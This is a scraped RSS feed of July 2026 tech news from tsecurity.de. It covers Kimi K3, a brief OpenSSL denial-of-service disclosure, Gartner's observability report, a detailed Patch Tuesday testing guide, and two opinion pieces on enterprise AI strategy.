    ]]>         <![CDATA[Just like Deepseek, China's Kimi K3 is forcing Western AI labs to question their compute advantage]]> https://tsecurity.de/de/3676888/ai-nachrichten/just-like-deepseek-chinas-kimi-k3-is-forcing-western-ai-labs-to-question-their-compute-advantage/ https://tsecurity.de/de/3676888/ai-nachrichten/just-like-deepseek-chinas-kimi-k3-is-forcing-western-ai-labs-to-question-their-compute-advantage/ Fri, 17 Jul 2026 21:18:29 +0200 🔧 AI Nachrichten tsecurity.de

    Moonshot AI has released Kimi K3, a model that by early assessments matches Anthropic's Opus 4.8, built by a team of just 300 people. Even OpenAI strategist Dean W. Ball calls it "very good," but, of course, warns that a world dominated by open-weight models would amount to "AI communism." The release is reigniting the debate over how much computing power actually matters and whether U.S. export controls are working.

    The article Just like Deepseek, China's Kimi K3 is forcing Western AI labs to question their compute advantage appeared first on The Decoder.

    ]]>         <![CDATA[OpenSSL “HollowByte” Vulnerability Lets Hackers Crash Servers With Just 11 Bytes]]> https://tsecurity.de/de/3676806/it-security-nachrichten/openssl-hollowbyte-vulnerability-lets-hackers-crash-servers-with-just-11-bytes/ https://tsecurity.de/de/3676806/it-security-nachrichten/openssl-hollowbyte-vulnerability-lets-hackers-crash-servers-with-just-11-bytes/ Fri, 17 Jul 2026 20:22:35 +0200 📰 IT Security Nachrichten tsecurity.de A newly disclosed vulnerability in OpenSSL, dubbed “HollowByte,” allows a remote, unauthenticated attacker to trigger a denial-of-service (DoS) condition using a malicious payload as small as 11 bytes. Discovered by the Okta Red Team, the flaw exploits how OpenSSL pre-allocates memory during the TLS handshake, forcing servers to reserve massive memory chunks before any authentication [
]

    The post OpenSSL “HollowByte” Vulnerability Lets Hackers Crash Servers With Just 11 Bytes appeared first on Cyber Security News.

    ]]>         <![CDATA[AI workloads shake up observability market]]> https://tsecurity.de/de/3676598/it-security-nachrichten/ai-workloads-shake-up-observability-market/ https://tsecurity.de/de/3676598/it-security-nachrichten/ai-workloads-shake-up-observability-market/ Fri, 17 Jul 2026 18:28:45 +0200 📰 IT Security Nachrichten tsecurity.de

    Observability platforms are evolving beyond traditional monitoring as vendors add AI capabilities and cost-management features aimed at helping enterprise organizations better manage increasingly complex IT environments.

    Vendors are investing heavily in AI observability, autonomous investigations, cost optimization, and operational intelligence as they try to evolve their platforms into systems that help IT teams understand problems, identify root causes, and determine the best course of action, according to Gartner, which just published its latest Magic Quadrant for Observability Platforms.

    Gartner defines the observability category as technologies that help organizations understand and optimize the health, performance, and behavior of applications, infrastructure, services, AI agents, and user experiences by collecting and analyzing telemetry data, such as logs, metrics, events, and traces.

    There are 19 vendors that made the cut for Gartner’s new report. Its Leaders quadrant includes (alphabetically) Chronosphere, Coralogix, Datadog, Dynatrace, Elastic, Grafana Labs, IBM, and New Relic. The Challengers are Alibaba Cloud, Amazon Web Services, LogicMonitor, Microsoft, and Splunk. The two Visionaries are BMC Helix and Honeycomb. Those dubbed Niche Players are Apica, HPE, ScienceLogic, and SolarWinds. (For specific vendor strengths and cautions, check out the full Gartner report. Some vendors offer free versions of the report with registration.)

    Looking beyond quadrant placement, Gartner advises organizations to evaluate vendors based on their ability to deliver full-stack observability and their “roadmap credibility” in key areas such as AI observability, OpenTelemetry interoperability, and the ability to observe and govern AI agents.

    AI observability emerges as a key differentiator

    Organizations are increasingly looking for visibility into AI workloads, including token consumption, model latency, response quality, hallucination rates, and other AI-specific performance metrics, according to the report. Gartner identifies AI observability as an emerging requirement, driven by growing enterprise interest in large language models (LLMs), genAI applications, and agentic AI systems.

    The report recognizes a growing number of vendors introducing AI-focused monitoring, autonomous investigations, AI agents, and specialized observability capabilities designed to help organizations monitor and govern AI-powered applications and workflows. At the same time, Gartner clarifies that many claims surrounding autonomous operations remain ahead of reality.

    “The transition from generative AI assistants to autonomous agents is more complex than vendor marketing suggests,” the report states.

    Cost management becomes a top priority

    While AI may dominate vendor messaging, Gartner states that telemetry cost management remains one of the top concerns for enterprise buyers.

    As organizations collect larger amounts of logs, traces, metrics, and events, observability spending is increasingly attracting attention from finance and procurement teams. Gartner notes that 5% of its clients now spend more than $10 million annually with a single observability provider.

    Gartner describes pipeline management as a strategic layer that is becoming central to observability deployments. Vendors that fail to address these cost concerns risk losing customers to vendor-agnostic alternatives focused on telemetry optimization. Organizations increasingly want platforms that can provide cost attribution, utilization insights, and financial metrics that help justify observability investments, according to Gartner.

    Gartner projects the observability market will reach $14.3 billion by 2028, driven increasingly by organizations’ need to manage growing telemetry volumes.

    OpenTelemetry is table stakes as consolidation continues

    The growing impact of open standards is a major shift for observability, Gartner notes.

    The widespread adoption of OpenTelemetry and eBPF-based instrumentation has lowered barriers to switching observability providers and made telemetry collection increasingly commoditized, the research firm explains. Gartner says many enterprise buyers now consider OpenTelemetry support a baseline requirement rather than a differentiator.

    As a result, vendors are now trying to differentiate themselves through analytics, automation, AI capabilities, and user experience rather than proprietary data collection approaches. That shift is forcing vendors to demonstrate value beyond monitoring and visibility, as buyers seek platforms capable of accelerating troubleshooting, automating investigations, and improving operational outcomes, according to Gartner.

    Gartner says market consolidation continues to favor platform-oriented vendors that combine full-stack observability with integrated AI capabilities. Organizations are increasingly looking for unified platforms that can monitor applications, infrastructure, digital experiences, and AI workloads from a single environment.

    The rise of operational intelligence

    As enterprises modernize applications and expand AI initiatives, organizations want platforms that can not only identify problems but also explain causes, prioritize actions, and potentially automate remediation. Vendors are expanding observability platforms with AI-driven analytics, automation, and governance capabilities that span applications, infrastructure, cloud services, and AI workloads.

    For enterprise buyers, the next phase of observability may be defined less by telemetry collection and more by how effectively vendors can transform data into intelligence, automation, and measurable business outcomes.

    ]]>         <![CDATA[July’s Patch Tuesday sees an end-of-support collision amidst a massive, record-setting patch wave]]> https://tsecurity.de/de/3676568/it-nachrichten/julys-patch-tuesday-sees-an-end-of-support-collision-amidst-a-massive-record-setting-patch-wave/ https://tsecurity.de/de/3676568/it-nachrichten/julys-patch-tuesday-sees-an-end-of-support-collision-amidst-a-massive-record-setting-patch-wave/ Fri, 17 Jul 2026 18:08:18 +0200 📰 IT Nachrichten tsecurity.de

    Microsoft addressed 722 CVEs this month once the 427 Chromium upstream relays are set aside — roughly three times a normal cycle and one of the largest single months in recent memory. Two vulnerabilities arrive under active exploitation: an elevation of privilege in Active Directory Federation Services (CVE-2026-56155), and an elevation of privilege in SharePoint Server (CVE-2026-56164). A third, a BitLocker security feature bypass (CVE-2026-50661) is publicly disclosed but not yet exploited.

    The July 2026 Patch Tuesday earns Patch Now recommendations for Windows, Office, Exchange, and SQL Server. SharePoint has two critical RCEs on top of its exploited zero-day, and Exchange Server returns with a critical on-premises spoofing flaw. Adding to our (dear) administrator’s efforts, SharePoint Server 2016/2019 and SQL Server 2016 all reach end of support today. The Readiness team has provided a handy infographic of the expected risk profile of this month’s Patch Tuesday updates.

    Known issues

    The July release note flags known issues against the following updates:

    • BitLocker recovery prompt on first restart – the PCR7 recovery condition tracked since April remains live on the platforms that did not receive the Boot Manager servicing fix (Windows Server 2022 and Windows 10 22H2). Devices with BitLocker on the OS drive, the Group Policy “Configure TPM platform validation profile for native UEFI firmware configurations” set with PCR7 included, and Secure Boot State PCR7 Binding reported as “Not Possible” may be prompted for the recovery key on the first restart after installing this update. This month’s publicly disclosed BitLocker security feature bypass (CVE-2026-50661) keeps the component in focus.
    • WSUS synchronization error details suppressed (Windows Server 2025 and 2022) – WSUS no longer displays synchronization error details in its error reporting, a deliberate change made to address the Remote Code Execution Vulnerability CVE-2025-59287. Sync still works, but administrators triaging a failed synchronization lose the detail pane and must fall back to the SoftwareDistribution logs.

    Windows Update can still replace manually installed graphics drivers with older OEM versions from the catalogue (the four-part Hardware ID ranking issue acknowledged on the Hardware Dev Center). The two-part HWID pilot runs to September 2026.

    Major revisions and mitigations

    Between the June and July Patch Tuesdays, MSRC Security Update Guide notices updated 651 reported CVEs across six notification dates (15, 19, 26 June and 3, 8, 11 July), 532 of them routine Chromium upstream re-publications. Of the roughly 30 Microsoft revisions, almost all were cross-platform Office catch-up with no bearing on a Windows enterprise estate. No further action required for IT administrators for this Windows update cycle.

    Windows lifecycle and enforcement updates

    This is the deadline cycle June pointed at. The July end-of-support wave lands today, and it collides with the month’s heaviest patching. SharePoint and SQL Server take some of their most active security updates ever on platforms receiving their last.

    • SharePoint Server 2016 and 2019, Project Server 2016 and 2019, SQL Server 2016 and InfoPath 2013 have all reached end of support. SQL Server 2014 ESU Year 2 reaches end of support today. SharePoint 2016/2019 take an actively exploited zero-day and two RCEs this cycle, and SQL Server 2016 takes a critical RCE, all as their final security update. Now is the time to get moving on updating these platforms.

    The 2011 Secure Boot certificate expiries have now passed; devices that never took the Windows UEFI CA 2023 key updates under CVE-2023-24932 can no longer receive updated boot components, with the Windows Production PCA for the boot manager still ahead on 19 October 2026. Kerberos RC4 hardening (CVE-2026-20833) has been in enforcement since April 2026; the July 2026 update removes the RC4DefaultDisablementPhase rollback control that let administrators defer it, making enforcement final.

    Microsoft’s July 2026 Patch Tuesday is a security-only release: 180 test-guidance entries, 14 of them high risk (June had one). Printing and graphics are the centre of gravity: win32kfull.sys, the kernel-mode window manager, is the most-patched binary (14 entries), and seven high-risk flags sit alongside it – the Print Spooler, four win32k entries, and two GDI+ metafile entries. NTFS is the second theme, with 10 entries, two high risk. Every entry reports no functional changes – it’s pure regression validation. The packages span Windows 11 26H1 back to Server 2012 ESU.

    Printing and graphics (high risk)

    The Print Spooler flag centres on shared printers, whose queue status must track jobs accurately; the win32k flags cover 32-bit application printing, font rendering in printed and exported output, on-screen rendering, and window management; the GDI+ flags cover metafiles.

    • Share a printer from a print server, print from a separate client in varied sizes and formats, and cancel a job, confirming the queue reflects every state change
    • Print from your 32-bit applications, and print text-heavy, graphics-heavy, and multi-page documents to physical and virtual (PDF or XPS) printers, repeating after orientation, scaling, and resolution changes
    • Export documents with varied fonts to PDF and confirm fonts and layout survive; render EMF+ files that apply effects to very large images, and convert EMF files to WMF
    • Open and close windows rapidly, drive common dialogs by mouse and keyboard, and close parents with children open – no orphaned windows

    Storage and file systems (high risk)

    Both NTFS high-risk flags target integrity – extended attributes, and volume recovery after an unexpected shutdown. File History carries its own high-risk flag on clients. A Windows Server 2025-only bundle across boot, BitLocker, and ReFS demands the full Secure Boot/BitLocker matrix. Eight entries hit Server 2025 alone, including WSL, GPU partitioning, and a scripted Windows Server Backup pass repeating recovery after rolling the date 90 days forward.

    • Exercise NTFS extended attributes – older-system EAs, backup workflows that preserve them, concurrent same-file operations where supported – with antivirus, encryption, or storage filters active
    • Simulate an unexpected shutdown during file activity, verify the volume mounts intact, run chkdsk, and confirm indexing, shadow copies, and backup still work
    • Run a full File History pass: back up, modify and back up again, exclude folders, change frequency, move the destination
    • On Server 2025, boot all four Secure Boot/BitLocker combinations, in standard and confidential VMs where supported

    Devices, input and networking (high risk)

    Three further high-risk flags land here: HID input (hidparse.sys with win32k) – touch, keyboard, mouse, touchpad, through disconnects and restarts; the WinSock bundle (afd.sys plus Bluetooth and multicast drivers); and IrDA. The heaviest ask is not high risk at all: the NetAdapterCx driver (24H2/25H2, Server 2025) wants 500-plus adapter enable-disable cycles under Driver Verifier.

    • Run the connectivity suite: browsing, large downloads, mapped drives, an RDP session idle 30+ minutes, a Teams call, an hour of streaming, and localhost apps such as Docker or WSL
    • Stress Bluetooth: pairing, 10+ minutes of audio, input after idle, and reconnection after sleep
    • Where infrared hardware exists, transfer a file and run at least 100 connect-disconnect cycles
    • Sweep the rest: DNS Server (zone data must stay under its configured database directory), the client resolver (five entries), DHCP Server (five entries), SMB, NFS, Message Queuing (five entries), RRAS administration, client VPN, and WinHTTP/WinINet consumers

    Other windows components

    Windows Installer itself is patched: testing should include application install, uninstall, repair, and force a rollback. Hyper-V wants virtual-switch traffic as part of its testing exercises with Virtual Filtering Platform policies enforced. Sixteen media-related security entries cover playback, HEVC and MPEG-TS, USB audio, and MIDI 2.0.

    Shell hardening and LSA isolation

    These two entries are a little different from the rest of the cycle: they ask you to confirm a security behaviour actively works, not just that nothing regressed. A pass here means the protection fired, so treat them as functional checks rather than box-ticking.

    • Shortcut handling (windows.storage.dll; Windows 11 23H2 and earlier, plus Server 2022): drop a shortcut file carrying the Mark of the Web into a folder and confirm the system refuses to extract its icon and leaks no NTLM credential hash – include the zero-click paths, where the icon would otherwise render without you opening anything
    • LSA isolation and KeyGuard (24H2/25H2, Server 2025): run the supplied PowerShell validation script, which turns on Virtualization-based Security if it isn’t already, exercises KeyGuard key operations in both required and best-effort isolation modes, and reports pass or fail – it needs TPM 2.0, UEFI with Secure Boot disabled, and PowerShell 7
    • Run that script on a dedicated test machine, never a shared one: it enables test signing, disables automatic updates, and reboots without asking

    Office & SharePoint

    July’s Office wave is security-only; everything landed on 14 July, and nothing critical or non-security shipped in the 7 July preview. It’s an MSI-only cycle, so Click-to-Run estates can sit this one out.

    • On MSI Office 2016, apply the client updates – Excel (KB5002886), Word (KB5002890), PowerPoint (KB5002867), and five further Office 2016 security updates (KB5002273, KB5002887, KB5002748, KB5002857, KB5002830) – then exercise macros, external data, embedded objects, and any line-of-business add-ins
    • On SharePoint Server, patch 2016 (KB5002891, plus the KB5002892 language pack) and Subscription Edition (KB5002882), then check browser-based editing; the guidance lists SharePoint 2019 with a baseline but ships no 2019 package, so there is nothing to install there

    Mind the rollback rules before you schedule the window: most client updates can be uninstalled, but the server updates cannot and always require a reboot.

    Developer tools & databases

    The developer estate gets a broad but low-drama sweep this month. Both .NET and SQL Server patch widely, but the ask is representative-application validation rather than anything exotic – install on the matching branch and confirm normal behaviour.

    • .NET: install the SDK updates (8.0.423, 9.0.316, 10.0.302, x64 and x86) and the Framework rollups spanning 3.5 through 4.8.1 – which reach from Windows Server 2012 up to Windows 11 26H1 and Server 2025 – then run a representative set of applications and confirm they function normally
    • SQL Server: the GDR updates span 2016 SP3 through 2025 – install each on its matching branch and test that each removes cleanly
    • Check an encrypted client connection through the separately patched Windows SQL client (dbnetlib.dll), which ships outside the server branches

    The Readiness team recommends the following priorities for your larger enterprise deployments:

    • Start with printing and graphics: half the high-risk flags sit in the Print Spooler, win32k, and GDI+, so regress shared printers, 32-bit printing, PDF export, metafiles, and window management before anything else
    • Take NTFS next – extended attributes and crash recovery both touch data integrity – and add a client File History backup-and-restore pass
    • Give Server 2025 its wider matrix – the Secure Boot/BitLocker combinations, WSL, GPU partitioning, and the scripted backup pass – and work through the stress suites
    • Run the scripted KeyGuard validation on any VBS estate, preferably on a dedicated machine.

    Each month, we break down the update cycle into product families (as defined by Microsoft) with the following basic groupings:

    • Browsers (Microsoft IE and Edge)
    • Microsoft Windows (both desktop and server)
    • Microsoft Office
    • Microsoft Exchange and SQL Server
    • Microsoft Developer Tools (Visual Studio and .NET)
    • Adobe (if you get this far)

    Browsers

    Edge has had a busier month than usual. Microsoft addressed 46 Microsoft Edge (Chromium-based) CVEs this cycle. None critical, but heavily weighted to remote code execution (21 entries) and spoofing (13), led by CVE-2026-58289, a remote code execution flaw. A run of further RCEs (CVE-2026-57981, CVE-2026-56645, CVE-2026-57974) follows.

    • Microsoft Edge – the Edge-specific fixes ship in the Edge stable channel (version 150.0.4078.65, released 9 July). The concentration of RCE and spoofing this month is worth a look for managed Edge estates rather than a routine wave-through.
    • Chromium upstream – 427 CVEs relayed through MSRC this cycle, spanning the weekly Chrome release cadence since the June report: use-after-free, out-of-bounds read/write, type confusion, and inappropriate-implementation flaws across V8, Dawn, ANGLE, Skia, and Tint. The same fixes ship in the Chrome Stable channel; see the Chrome releases blog for the upstream notes.

    The Chromium volume looks (quite) alarming but is routine plumbing: it flows to Edge through its own auto-update channel. Add these browser (Edge) updates to your standard release schedule for your managed environments.

    Microsoft Windows

    Windows carries the bulk of this month’s updates: 406 CVEs, 31 rated critical and 374 important. Elevation of privilege dominates by volume (226 entries), followed by remote code execution (70), information disclosure (70), denial of service (23), and a scatter of security-feature-bypass, tampering, and spoofing entries across the following feature groupings:

    The Windows Kernel is the most-patched component (28 CVEs, seven “More Likely”), followed by NTFS (21), Windows Runtime (17), Windows Media (14), ReFS (12), and Win32k (15 across its two entries). Add this Windows update to your Patch Now deployment schedule.

    Microsoft Office

    Microsoft released 96 Office CVEs this month: 19 critical, 76 important. Remote code execution leads (53 entries), ahead of information disclosure (27) and spoofing (10). SharePoint is the centre of gravity: it touches 39 of the 96 CVEs and supplies the family’s one actively exploited flaw.

    • SharePoint Server: has been exploited (who would have guessed) and reaches end of support today. CVE-2026-56164, an elevation of privilege, is under active exploitation. Above it sit two critical remote code execution flaws, both “Exploitation More Likely” (CVE-2026-50522, CVE-2026-58644) and a critical security feature bypass (CVE-2026-55040). SharePoint Server 2016 and 2019 reach end of support on 14 July, so this exploited, critical-heavy set is the final security update those on-premises farms will receive.
    • Office has experienced a long run of critical remote code execution entries across Office, Word, and PowerPoint (among them CVE-2026-55033 and CVE-2026-55127 in Word, CVE-2026-55043 in PowerPoint, and CVE-2026-55018 in Office), topped by CVE-2026-55045.

    With an exploited zero-day, two RCEs, and an end-of-support deadline all landing on SharePoint in the same cycle, SharePoint environments are the priority. Add the July Office and SharePoint updates to your Patch Now schedule.

    Microsoft Exchange and SQL Server

    Both Exchange and SQL Server carry critical-rated security vulnerabilities this month. Exchange Server returns with an on-premises security update for Exchange Server Subscription Edition, the only on-premises release still supported after Exchange Server 2016 and 2019 reached end of support in October 2025; SQL Server takes two critical remote code execution flaws, one of them against SQL Server 2016, which reaches end of support on the same day.

    • Exchange Server (on-premises) – CVE-2026-55008, a spoofing vulnerability rated critical and “Exploitation More Likely,” is the headline. Behind it, a remote code execution entry (CVE-2026-55005) and two elevation-of-privilege flaws (CVE-2026-55006, CVE-2026-55009) round out the on-premises set. A separate Exchange Online elevation of privilege (CVE-2026-54998, critical) is fixed service-side with no customer action.
    • SQL Server – two critical remote code execution flaws: CVE-2026-54117 (SQL Server 2025) and CVE-2026-54118 (which reaches back to SQL Server 2016 SP3), with five further important elevation-of-privilege and information-disclosure entries behind them. The 2016 exposure matters because SQL Server 2016 reaches end of support on 14 July: a critical RCE on a platform taking its final update.

    Both belong on the Patch Now schedule this month: the Exchange on-premises update for its critical spoofing flaw, and the SQL Server update for the two critical RCEs.

    Microsoft developer tools

    Microsoft released 24 CVEs across its developer tooling this month, all rated important. The weighting shifts from last month’s Visual Studio Code concentration toward .NET and ASP.NET Core, where a run of denial-of-service entries dominates the volume:

    Add these Microsoft updates to your standard developer update release schedule.

    Adobe (and third-party updates)

    Outside Microsoft’s own catalogue, July is quiet. Adobe issued no Acrobat or Reader security updates. So, the month belongs to Microsoft, and it is a heavy one: 722 CVEs, roughly three times a normal cycle and one of the largest on record. Worth noting that this lands in the same season Microsoft has been talking up AI-assisted vulnerability management, and the AI stack it is selling as the answer, Copilot and Azure OpenAI among them, sits in the centre of this patch cycle’s own critical-rated updates. The (AI) tooling may be getting smarter, but the patch pile is (definitely) not getting smaller. This may be the beginning of an accelerating curve of ever larger patch cycles. My feeling is that we are in the middle of the beginning of this coming patch surge.

    This article is published as part of the Foundry Expert Contributor Network.
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    ]]>         <![CDATA[Rotundest Robin: Building a Smart Bird Feeder That Weighs Songbirds (emf2026)]]> https://tsecurity.de/de/3676454/it-security-video/rotundest-robin-building-a-smart-bird-feeder-that-weighs-songbirds-emf2026/ https://tsecurity.de/de/3676454/it-security-video/rotundest-robin-building-a-smart-bird-feeder-that-weighs-songbirds-emf2026/ Fri, 17 Jul 2026 17:18:29 +0200 đŸŽ„ IT Security Video tsecurity.de <![CDATA[Google's Latest Gemini 3.5 Leaks Might Make Fable 5 Absolute!]]> https://tsecurity.de/de/3676199/videos/googles-latest-gemini-35-leaks-might-make-fable-5-absolute/ https://tsecurity.de/de/3676199/videos/googles-latest-gemini-35-leaks-might-make-fable-5-absolute/ Fri, 17 Jul 2026 15:33:13 +0200 đŸŽ„ Videos tsecurity.de Author: Evolving AI - Bewertung: 0x - Views:4

    Google's Gemini 3.5 Pro may be the most anticipated AI model of the year, but it still hasn't officially launched. While Google confirmed the model is in internal testing, the internet has been flooded with leaks claiming a complete architectural rebuild, a massive 2-million-token context window, improved reasoning, better coding performance, and a brand-new AI foundation. In this video, we separate confirmed facts from rumors and break down everything we know about Gemini 3.5 Pro. We compare Gemini 3.5 Flash, GPT-5.5, Claude Opus, and the latest benchmark results, discuss the reported launch delay, Deep Think reasoning, token efficiency, coding performance, enterprise AI, and why Google may have rebuilt the model from scratch. Will Gemini 3.5 Pro finally challenge OpenAI and Anthropic, or is the hype getting ahead of reality?

    #Google #Gemini35 #GeminiPro #ArtificialIntelligence #OpenAI #Claude #AI

    ]]>         <![CDATA[Why technology leaders are losing the AI conversation to the people who report to them]]> https://tsecurity.de/de/3675833/it-nachrichten/why-technology-leaders-are-losing-the-ai-conversation-to-the-people-who-report-to-them/ https://tsecurity.de/de/3675833/it-nachrichten/why-technology-leaders-are-losing-the-ai-conversation-to-the-people-who-report-to-them/ Fri, 17 Jul 2026 13:03:31 +0200 📰 IT Nachrichten tsecurity.de

    I keep seeing a version of the same scene. A CEO has a question about AI. It is a real question, the kind that will shape where the company spends the next two years. The CEO does not bring it to the CIO. They bring it to a data leader two levels down, or to a vendor who presented at a conference, or to an AI specialist a board member recommended. The CIO finds out the strategy is forming when a slide shows up that they did not build. By then, the direction is already half-set, and the CIO is being asked to react to it rather than shape it.

    I want to be precise about what is happening, because it is easy to misread. The CIO has not been removed from anything. Title intact, budget intact, seat at the table intact. What has changed is quieter. On one of the most consequential technology conversations the company will have this decade, the CIO is being routed around. The work still flows through them eventually. The thinking no longer starts with them.

    I have watched this happen to capable people who would have given the CEO a better answer than the person who was asked. That is what makes it worth naming. This is not a competence gap. It is a positioning gap, and positioning gaps close in the wrong direction if you ignore them long enough.

    How the routing actually starts

    The routing does not begin with a decision to exclude anyone. It begins with a CEO who is anxious about AI and looking for someone who sounds certain. AI is moving fast enough that executives feel the pressure to have a point of view before they have earned one. That pressure usually arrives secondhand, from a board member or a peer on the golf course describing what is working at their company. So the CEO goes looking for someone who will confirm the answer they already want to hear, and they keep going back to whoever gives it to them.

    Here is where many technology leaders lose the thread. For years, the safe posture in the CIO seat was measured caution. You raised the risks, you flagged the integration cost, you asked who owns the data and what the compliance exposure looks like. That posture built credibility in an era when the failure mode was moving too fast on technology nobody understood. With AI, the same posture reads as drag. A CEO who is being told by three vendors that “the future is already here” does not want to hear why they should slow down and be cautious. They hear caution as losing the race, and they go find a point of view somewhere else.

    The data leaders, vendors and specialists who get the call are not necessarily more capable. They are more available with a confident answer. A vendor’s whole job is to arrive with conviction. A data scientist who has shipped one impressive model carries more apparent authority on AI, in that moment, than a CIO who runs the entire estate but talks about AI the way they talk about every other risk. The CEO is not weighing depth against depth. They are weighing the person who said yes against the person who said it depends.

    Once that pattern sets, it compounds. The CEO who got a satisfying answer from the data leader goes back to the data leader. The vendor who shaped the first conversation gets invited into the second. Each loop the CIO is not in makes the next one easier to run without them. The org chart still says the CIO owns technology strategy. The actual conversation has relocated.

    What it costs before anyone notices

    The cost shows up late, which is exactly why it is dangerous. For a while nothing looks broken. The CIO is still delivering. The AI initiatives are still landing on their plate to execute. The damage is happening upstream, in the room where the bets get made, and the CIO is not in that room.

    I have seen what arrives downstream when the strategy was set without the person who has to run it. A model gets championed that the data cannot actually support. A vendor commitment gets made that locks the company into an architecture the CIO would have flagged in the first meeting. An agent gets deployed inside a business unit, with executive blessing, and the CIO inherits accountability for it months later without ever having shaped how it was governed. The recent IBM finding that CIOs are increasingly held accountable for AI they do not fully control is the visible end of this. The invisible front end is the conversation the CIO was routed around, the one where the accountability got created in the first place.

    What I find most corrosive is what it does to the CIO’s standing over time. Every initiative the CIO executes but did not shape reinforces a story about what the CIO is for. They become the person who runs the technology other people decided on. That is a fine description of an order taker and a poor description of a strategic leader, and CEOs do not promote, fund, or defend order takers when budgets tighten. The routing-around does not just cost the company a worse AI strategy. It quietly recasts the CIO as the implementer of everyone else’s thinking, and that recasting is hard to reverse once the executive team has internalized it.

    What the leaders who stayed in the conversation did

    The technology leaders I have watched hold their position on AI did one thing first. They stopped leading with caution and started leading with a point of view. Not a reckless one. A real, defensible position on where AI creates value in their specific business and where it does not, delivered with the same conviction the vendors bring, before the CEO went looking elsewhere for it. They made themselves the person with the clearest answer, which is the role the routing-around was filling with someone else.

    That requires giving up a posture that felt safe for a long time. The CIOs who made the shift accepted that on AI, being right and cautious is worth less than being early and directional. They formed a view ahead of being asked. They walked into the CEO’s office with where we should place our AI bets and why, rather than waiting to be handed someone else’s bets to pressure-test. The difference is whether you are the author of the strategy or its editor, and CEOs route around editors.

    They also changed how they talk about risk. Instead of presenting risk as the reason to slow down, they folded it into the recommendation. The data is not ready for that use case, so here is the use case where it is ready, and here is what we do in parallel to unlock the first one. That framing keeps the CIO inside the conversation as the person making AI happen responsibly, rather than the person standing outside it explaining why it is hard. Same expertise, opposite effect on whether the CEO keeps coming back.

    None of this is about pushing the data leaders and specialists out. The strongest CIOs I know pulled those people closer and brought them into the room under their own framing, so that when the CEO wanted the specialist’s input, it arrived through the CIO rather than around them. They made themselves the orchestrator of the AI conversation instead of one of its casualties.

    If you are a technology leader right now, the question worth sitting with is not whether you are good at AI. You probably are. The question is whether the most important AI conversations in your company are still starting with you, or whether you have quietly become the person they get handed to after the thinking is done. That answer is set in rooms you may not be in, and the only way to find out is to ask who your CEO called the last three times AI came up. If the answer is not you, the role is still yours. The conversation has already started leaving.

    This article is published as part of the Foundry Expert Contributor Network.
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    ]]>         <![CDATA[The build vs. buy dilemma at the heart of enterprise AI]]> https://tsecurity.de/de/3675706/it-nachrichten/the-build-vs-buy-dilemma-at-the-heart-of-enterprise-ai/ https://tsecurity.de/de/3675706/it-nachrichten/the-build-vs-buy-dilemma-at-the-heart-of-enterprise-ai/ Fri, 17 Jul 2026 12:17:08 +0200 📰 IT Nachrichten tsecurity.de

    For three decades, enterprise software has been a buy-it decision. Packaged software from SAP, Oracle and Salesforce covered roughly 80% of requirements at a fraction of the cost of building. The economics were obvious, and for traditional applications, they still are.

    AI is introducing a wrinkle that is forcing even the most committed enterprise software customers to rethink their options. AI is a layer that sits across your data, your processes, and your decisions. Where that layer runs and who controls it is an architecture question, and most of the enterprise community is still treating it as a procurement one.

    The appeal of vendor-embedded AI is clear: automated operational decisions, smarter supplier and merchandising choices, and friction-free workflows built into the systems enterprises already rely on. The catch is that these capabilities almost universally depend on your data living in the vendor’s cloud environment. For most large enterprises, it sits on-premises, in hyperscale cloud infrastructure they manage themselves, or in private data centers. That gap between where your data is and where your vendor’s AI assumes it should be creates a fundamental strategic fork in the road.

    Build vs. buy is a category error

    The framing I keep hearing is “build vs. buy your AI strategy.” It implies that some organizations are out there training foundation models from scratch. Nobody serious is doing that. The real choice sits across three distinct approaches, and conflating them leads to poor decisions:

    • Buy embedded. Use the AI capabilities your vendor ships natively inside their platform: the assistant baked into your ERP, your CRM, your HCM suite. Lowest integration cost, fastest time to value, tightest fit with the application data.
    • Buy platform. Adopt the vendor’s AI infrastructure layer and build your own assistants and agents on top of it. More flexible, but you remain inside the vendor’s architectural boundary and subject to their governance model.
    • Compose. Connect a third-party model (Claude, GPT, Gemini, an open-weight model running in your own environment) directly to your existing landscape. Maximum control, maximum integration burden, and full responsibility for what comes out the other end.

    These are not equivalent options at different price points. They make different assumptions about where your data lives, who governs the AI, and how much architectural change you’ll absorb to get there. Vendor pitches sometimes blur the distinction on purpose. Enterprise leaders can’t afford to.

    The vendor AI stack has an assumption baked in

    Every embedded AI capability ships with an unstated architectural prerequisite: your data must be where the AI can see it, in the shape it expects, under the governance the vendor enforces.

    For organizations with clean, modern cloud estates, that is often a reasonable trade. For the long tail of large enterprises running heavily customized environments on private or hybrid infrastructure, that trade becomes a precondition, one you must meet before the AI conversation can even begin. Whether meeting it makes sense depends on your starting point, your sector’s regulatory posture, and your appetite for migration risk. None of those are uniform across organizations.

    That’s the part that gets glossed over in vendor keynotes. The AI demo on stage assumes a destination architecture the audience hasn’t necessarily reached yet. Large enterprise customers are carrying an unusually heavy technology burden right now. Many are simultaneously managing platform modernization programs that have been building for over a decade, alongside pressure to migrate to vendor-managed cloud infrastructure. Sitting above both is a boardroom-level directive to demonstrate meaningful AI progress fast. The vendor path to AI and the boardroom path to AI can diverge sharply, and enterprises need to make selective, strategic decisions about where to adopt AI first to maximize value and minimize risk.

    Sovereignty isn’t a slogan, it’s an architecture constraint

    The conversation about sovereignty has been hijacked by both sides. One camp treats every SaaS adoption as a sovereignty violation. The other dismisses every sovereignty concern as Luddite resistance. Neither is useful.

    What’s happening in real customer conversations – particularly in DACH, public sector, and financial services – is more specific. Organizations are drawing a distinction between running their applications in a vendor’s cloud (which is broadly fine, well understood, decades of precedent) and enriching their data and processes inside a vendor’s AI model (which has less precedent, is harder to reverse, and carries material implications for competitive position).

    Enriching your data inside a vendor’s AI model is the genuinely new question, and organizations that conflate it with their existing cloud posture tend to defend the wrong perimeter.

    Despite spending around $100 million annually with Amazon, Disney built its own internal AI system to house its corporate intelligence rather than rely on a hyperscaler’s AI offering. The decision came down to control. When your data represents decades of creative and commercial IP, you think carefully about where it lives and who can learn from it. Disney has become more open to SaaS over time. The AI sovereignty question is a separate debate from the SaaS debate and conflating the two leads organizations to the wrong conclusions.

    At the other end of the spectrum, enterprises in heavily regulated environments treat data sovereignty as an absolute non-negotiable. Any AI model must run within their controlled environment, especially where sensitive data cannot touch the public internet. GDPR obligations reinforce this instinct across the European market, requiring organizations to maintain clear accountability for how personal data is processed inside AI systems, including vendor-managed ones.

    AI-enriched data, meaning models that have learned the shape of your business processes, your supplier negotiations, your customer behavior, carries a different half-life and a different strategic value than the operational data underneath it. That deserves its own architectural decision, separate from your broader cloud strategy.

    What this means in practice

